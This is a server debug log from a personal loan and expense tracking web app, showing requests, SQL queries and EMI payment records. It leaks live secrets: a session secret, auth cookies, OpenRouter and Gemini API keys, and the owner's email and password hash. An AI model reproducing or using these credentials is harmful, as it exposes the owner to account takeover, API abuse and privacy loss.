    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/emis',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3Ak8PdD3g%2FM9xHVbB4Ath%2BHw%3D%3D.Py79F%2FeXB6G4W%2BS8sfWYsOktNDsUVjRI1v1KKoM7JTCtA47Mp0vF%2FugvburgrVpZXeKOUpSFvdrom409IKebIWI4N0I9kchJq96F5X1b7rKAjKBNa90ikeNjhFk4LYs3AqCwEXMDNOTuv%2BjR8%2BDy3dKP00Bf0HdN1FsMZMXNo98%3D.NL%2F4tUetNYZr8VGG8clQa6ApYrYAGNjHhqK7vGA1IyY; your_r_git.sid=s%3ASvFgLm9GYN9G3-EZ68EXf0Xlnnai3Geg.zx1cRp0mVwZ2VkQQ1FJfQs00%2FzkQPRUgmr4pPJgRTIw',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-03-05T05:11:50.327Z server-connect:router Serving serverConnect /api/emis/get-loans
2026-03-05T05:11:50.328Z server-connect:app Executing action step identify
2026-03-05T05:11:50.328Z server-connect:app options: { provider: 'security' }
2026-03-05T05:11:50.328Z server-connect:output identity: 1
2026-03-05T05:11:50.328Z server-connect:app Executing action step restrict
2026-03-05T05:11:50.328Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-05T05:11:50.328Z server-connect:output restrict: undefined
2026-03-05T05:11:50.329Z server-connect:app Executing action step custom
2026-03-05T05:11:50.329Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    lm.id,\n' +
      '    lm.loan_name,\n' +
      '    lm.starting_date,\n' +
      '    lm.ending_date,\n' +
      '    lm.total_amount AS principle_amount,\n' +
      '    lm.no_of_emi,\n' +
      '    lm.interest_amount,\n' +
      '    c.name AS loan_type,\n' +
      '    c1.name AS loan_provider,\n' +
      '    lm.due_date,\n' +
      '    lm.emi_amount,\n' +
      '\n' +
      '    COUNT(ld.id) AS total_emi,\n' +
      '\n' +
      '    SUM(CASE WHEN ld.status = 0 THEN 1 ELSE 0 END) AS total_pending_emi,\n' +
      '\n' +
      '    SUM(CASE WHEN ld.status = 0 THEN ld.loan_amount ELSE 0 END) AS total_remaining_amount,\n' +
      '   \n' +
      '    SUM(CASE WHEN ld.status = 1 THEN ld.loan_amount ELSE 0 END) AS total_paid_amount,\n' +
      '\n' +
      '    -- ✅ % Loan Paid\n' +
      '    ROUND(\n' +
      '    CASE \n' +
      '        WHEN lm.no_of_emi > 0\n' +
      '        THEN (\n' +
      '            SUM(CASE WHEN ld.status = 1 THEN 1 ELSE 0 END)\n' +
      '            / lm.no_of_emi\n' +
      '        ) * 100\n' +
      '        ELSE 0\n' +
      '    END\n' +
      ',2) AS percentage_paid\n' +
      'FROM loan_master lm\n' +
      'INNER JOIN collections c \n' +
      '    ON c.id = lm.loan_type \n' +
      'INNER JOIN collections c1 \n' +
      '    ON c1.id = lm.loan_provider \n' +
      'LEFT JOIN loan_details ld \n' +
      '    ON ld.loan_id = lm.id\n' +
      'WHERE lm.status = 0\n' +
      'GROUP BY lm.id;',
    params: []
  }
}
2026-03-05T05:11:50.334Z server-connect:output list: [
  {
    id: 9,
    loan_name: 'Hero Fincorp',
    starting_date: 2022-06-07T18:30:00.000Z,
    ending_date: 2027-05-07T18:30:00.000Z,
    principle_amount: 511100,
    no_of_emi: 60,
    interest_amount: 389740,
    loan_type: 'Personal Loan',
    loan_provider: 'Hero Fincorp',
    due_date: '8th',
    emi_amount: 15014,
    total_emi: 60,
    total_pending_emi: '14',
    total_remaining_amount: 210196,
    total_paid_amount: 690644,
    percentage_paid: '76.67'
  },
  {
    id: 10,
    loan_name: 'Slashash Tech',
    starting_date: 2023-03-04T18:30:00.000Z,
    ending_date: 2026-02-01T18:30:00.000Z,
    principle_amount: 600000,
    no_of_emi: 36,
    interest_amount: 57111,
    loan_type: 'Home Loan',
    loan_provider: 'Slashash Tech',
    due_date: '5th',
    emi_amount: 18243,
    total_emi: 36,
    total_pending_emi: '4',
    total_remaining_amount: 72972,
    total_paid_amount: 583776,
    percentage_paid: '88.89'
  },
  {
    id: 11,
    loan_name: 'Fullerton India',
    starting_date: 2023-02-14T18:30:00.000Z,
    ending_date: 2028-03-14T18:30:00.000Z,
    principle_amount: 1015638,
    no_of_emi: 60,
    interest_amount: 379332,
    loan_type: 'Personal Loan',
    loan_provider: 'Fullerton India',
    due_date: '5th',
    emi_amount: 23109,
    total_emi: 60,
    total_pending_emi: '24',
    total_remaining_amount: 554616,
    total_paid_amount: 831924,
    percentage_paid: '60.00'
  },
  {
    id: 12,
    loan_name: 'Kotak Mahindra',
    starting_date: 2023-02-16T18:30:00.000Z,
    ending_date: 2027-01-16T18:30:00.000Z,
    principle_amount: 750000,
    no_of_emi: 48,
    interest_amount: 307000,
    loan_type: 'Personal Loan',
    loan_provider: 'Kotak Mahindra Bank',
    due_date: '2nd',
    emi_amount: 22031,
    total_emi: 48,
    total_pending_emi: '11',
    total_remaining_amount: 242341,
    total_paid_amount: 815147,
    percentage_paid: '77.08'
  },
  {
    id: 18,
    loan_name: 'IND Money',
    starting_date: 2023-08-14T18:30:00.000Z,
    ending_date: 2026-08-01T18:30:00.000Z,
    principle_amount: 155040,
    no_of_emi: 36,
    interest_amount: 37056,
    loan_type: 'Personal Loan',
    loan_provider: 'IND Money',
    due_date: '2nd',
    emi_amount: 5336,
    total_emi: 36,
    total_pending_emi: '5',
    total_remaining_amount: 26680,
    total_paid_amount: 165416,
    percentage_paid: '86.11'
  }
]
2026-03-05T05:12:09.517Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-03-05T05:12:09.699Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-03-05T05:12:09.790Z server-connect:setup:upload Upload middleware configured.
2026-03-05T05:12:09.791Z server-connect:secure CSRF Protection initialized
2026-03-05T05:12:09.793Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-03-05T05:12:09.794Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-03-05T05:12:09.795Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-03-05T05:12:09.795Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-03-05T05:12:09.796Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-03-05T05:12:09.796Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-03-05T05:12:09.797Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-03-05T05:12:09.798Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-03-05T05:12:09.834Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-03-05T05:12:09.835Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-03-05T05:12:09.835Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-03-05T05:12:09.835Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-03-05T05:12:09.836Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-03-05T05:12:09.836Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-03-05T05:12:09.836Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-03-05T05:12:09.837Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-03-05T05:12:09.837Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-03-05T05:12:09.837Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-03-05T05:12:09.838Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-03-05T05:12:09.838Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-03-05T05:12:09.838Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-03-05T05:12:09.838Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-03-05T05:12:09.839Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-03-05T05:12:09.839Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-03-05T05:12:09.839Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-03-05T05:12:09.839Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-03-05T05:12:09.840Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-03-05T05:12:09.840Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-03-05T05:12:09.840Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-03-05T05:12:09.840Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-03-05T05:12:09.841Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-03-05T05:12:09.841Z server-connect:setup:routes Api route /api/test(.json)? created
2026-03-05T05:12:09.948Z server-connect:router Serving serverConnect /api/emis/emi-list
2026-03-05T05:12:09.952Z server-connect:app Executing action step identify
2026-03-05T05:12:09.952Z server-connect:app options: { provider: 'security' }
2026-03-05T05:12:09.954Z server-connect:output identity: 1
2026-03-05T05:12:09.954Z server-connect:app Executing action step restrict
2026-03-05T05:12:09.954Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-05T05:12:09.956Z server-connect:output restrict: undefined
2026-03-05T05:12:09.957Z server-connect:app Executing action step select
2026-03-05T05:12:09.957Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'loan_details' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `loan_id`, `due_date`, `paid_on`, `loan_amount`, `status` from `loan_details` where `loan_details`.`loan_id` = ?'
  }
}
2026-03-05T05:12:09.963Z server-connect:output list: [
  {
    id: 52,
    loan_id: 9,
    due_date: '2022-06-07T18:30:00.000Z',
    paid_on: '2022-06-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 53,
    loan_id: 9,
    due_date: '2022-07-07T18:30:00.000Z',
    paid_on: '2022-07-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 54,
    loan_id: 9,
    due_date: '2022-08-07T18:30:00.000Z',
    paid_on: '2022-08-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 55,
    loan_id: 9,
    due_date: '2022-09-07T18:30:00.000Z',
    paid_on: '2022-09-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 56,
    loan_id: 9,
    due_date: '2022-10-07T18:30:00.000Z',
    paid_on: '2022-10-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 57,
    loan_id: 9,
    due_date: '2022-11-07T18:30:00.000Z',
    paid_on: '2022-11-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 58,
    loan_id: 9,
    due_date: '2022-12-07T18:30:00.000Z',
    paid_on: '2022-12-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 59,
    loan_id: 9,
    due_date: '2023-01-07T18:30:00.000Z',
    paid_on: '2023-01-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 60,
    loan_id: 9,
    due_date: '2023-02-07T18:30:00.000Z',
    paid_on: '2023-02-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 61,
    loan_id: 9,
    due_date: '2023-03-07T18:30:00.000Z',
    paid_on: '2023-03-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 62,
    loan_id: 9,
    due_date: '2023-04-07T18:30:00.000Z',
    paid_on: '2023-05-01T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 63,
    loan_id: 9,
    due_date: '2023-05-07T18:30:00.000Z',
    paid_on: '2023-05-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 64,
    loan_id: 9,
    due_date: '2023-06-07T18:30:00.000Z',
    paid_on: '2023-06-05T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 65,
    loan_id: 9,
    due_date: '2023-07-07T18:30:00.000Z',
    paid_on: '2023-07-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 66,
    loan_id: 9,
    due_date: '2023-08-07T18:30:00.000Z',
    paid_on: '2023-08-01T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 67,
    loan_id: 9,
    due_date: '2023-09-07T18:30:00.000Z',
    paid_on: '2023-09-01T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 68,
    loan_id: 9,
    due_date: '2023-10-07T18:30:00.000Z',
    paid_on: '2023-10-01T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 69,
    loan_id: 9,
    due_date: '2023-11-07T18:30:00.000Z',
    paid_on: '2023-11-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 70,
    loan_id: 9,
    due_date: '2023-12-07T18:30:00.000Z',
    paid_on: '2023-12-05T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 71,
    loan_id: 9,
    due_date: '2024-01-07T18:30:00.000Z',
    paid_on: '2024-01-06T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 72,
    loan_id: 9,
    due_date: '2024-02-07T18:30:00.000Z',
    paid_on: '2024-02-06T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 73,
    loan_id: 9,
    due_date: '2024-03-07T18:30:00.000Z',
    paid_on: '2024-03-06T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 74,
    loan_id: 9,
    due_date: '2024-04-07T18:30:00.000Z',
    paid_on: '2024-04-02T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 75,
    loan_id: 9,
    due_date: '2024-05-07T18:30:00.000Z',
    paid_on: '2024-06-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 76,
    loan_id: 9,
    due_date: '2024-06-07T18:30:00.000Z',
    paid_on: '2024-06-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 77,
    loan_id: 9,
    due_date: '2024-07-07T18:30:00.000Z',
    paid_on: '2024-07-05T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 78,
    loan_id: 9,
    due_date: '2024-08-07T18:30:00.000Z',
    paid_on: '2024-08-06T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 79,
    loan_id: 9,
    due_date: '2024-09-07T18:30:00.000Z',
    paid_on: '2024-09-02T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 80,
    loan_id: 9,
    due_date: '2024-10-07T18:30:00.000Z',
    paid_on: '2024-10-03T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 81,
    loan_id: 9,
    due_date: '2024-11-07T18:30:00.000Z',
    paid_on: '2024-11-06T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 82,
    loan_id: 9,
    due_date: '2024-12-07T18:30:00.000Z',
    paid_on: '2024-12-05T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 83,
    loan_id: 9,
    due_date: '2025-01-07T18:30:00.000Z',
    paid_on: '2025-01-05T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 84,
    loan_id: 9,
    due_date: '2025-02-07T18:30:00.000Z',
    paid_on: '2025-02-06T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 85,
    loan_id: 9,
    due_date: '2025-03-07T18:30:00.000Z',
    paid_on: '2025-03-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 86,
    loan_id: 9,
    due_date: '2025-04-07T18:30:00.000Z',
    paid_on: '2025-04-03T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 87,
    loan_id: 9,
    due_date: '2025-05-07T18:30:00.000Z',
    paid_on: '2025-05-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 88,
    loan_id: 9,
    due_date: '2025-06-07T18:30:00.000Z',
    paid_on: '2025-07-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 89,
    loan_id: 9,
    due_date: '2025-07-07T18:30:00.000Z',
    paid_on: '2025-08-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 90,
    loan_id: 9,
    due_date: '2025-08-07T18:30:00.000Z',
    paid_on: '2025-08-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 91,
    loan_id: 9,
    due_date: '2025-09-07T18:30:00.000Z',
    paid_on: '2025-09-05T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 92,
    loan_id: 9,
    due_date: '2025-10-07T18:30:00.000Z',
    paid_on: '2025-10-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 93,
    loan_id: 9,
    due_date: '2025-11-07T18:30:00.000Z',
    paid_on: '2025-11-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 94,
    loan_id: 9,
    due_date: '2025-12-07T18:30:00.000Z',
    paid_on: '2025-12-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 95,
    loan_id: 9,
    due_date: '2026-01-07T18:30:00.000Z',
    paid_on: '2026-01-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 96,
    loan_id: 9,
    due_date: '2026-02-07T18:30:00.000Z',
    paid_on: '2026-02-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 97,
    loan_id: 9,
    due_date: '2026-03-07T18:30:00.000Z',
    paid_on: '2026-03-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 98,
    loan_id: 9,
    due_date: '2026-04-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 99,
    loan_id: 9,
    due_date: '2026-05-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 100,
    loan_id: 9,
    due_date: '2026-06-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 101,
    loan_id: 9,
    due_date: '2026-07-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 102,
    loan_id: 9,
    due_date: '2026-08-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 103,
    loan_id: 9,
    due_date: '2026-09-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 104,
    loan_id: 9,
    due_date: '2026-10-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 105,
    loan_id: 9,
    due_date: '2026-11-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 106,
    loan_id: 9,
    due_date: '2026-12-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 107,
    loan_id: 9,
    due_date: '2027-01-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 108,
    loan_id: 9,
    due_date: '2027-02-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 109,
    loan_id: 9,
    due_date: '2027-03-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 110,
    loan_id: 9,
    due_date: '2027-04-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 111,
    loan_id: 9,
    due_date: '2027-05-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  }
]
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-05 05:39:09' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-05 05:39:09' as DATETIME)"
}
2026-03-05T11:07:48.698Z server-connect:router Serving templateView /
2026-03-05T11:07:48.699Z server-connect:app Executing action step identify
2026-03-05T11:07:48.699Z server-connect:app options: { provider: 'security' }
2026-03-05T11:07:48.700Z server-connect:auth No login cookie found
2026-03-05T11:07:48.700Z server-connect:output identity: false
2026-03-05T11:07:48.700Z server-connect:app Executing action step restrict
2026-03-05T11:07:48.700Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-05T11:07:48.702Z server-connect:output restrict: undefined
2026-03-05T11:07:48.908Z server-connect:router Serving templateView /login
2026-03-05T11:07:48.909Z server-connect:app Executing action step identify
2026-03-05T11:07:48.909Z server-connect:app options: { provider: 'security' }
2026-03-05T11:07:48.909Z server-connect:auth No login cookie found
2026-03-05T11:07:48.909Z server-connect:output identity: false
2026-03-05T11:07:48.909Z server-connect:router Render template layouts/authentication
2026-03-05T11:07:48.909Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'cross-site',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"196d-LKwcMPQ3dgGRjZwXahAD+qnHq6M"',
    priority: 'u=0, i',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-06T11:07:48.907Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'cross-site',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"196d-LKwcMPQ3dgGRjZwXahAD+qnHq6M"',
    HTTP_PRIORITY: 'u=0, i',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-03-05T11:07:52.014Z server-connect:router Serving serverConnect /api/access-control/login
2026-03-05T11:07:52.015Z server-connect:app Executing action step identify
2026-03-05T11:07:52.015Z server-connect:app options: { provider: 'security' }
2026-03-05T11:07:52.075Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2026-03-05T11:07:52.078Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2026-03-05T11:07:52.130Z server-connect:output identity: 1
2026-03-05T11:07:52.130Z server-connect:app Executing action step login
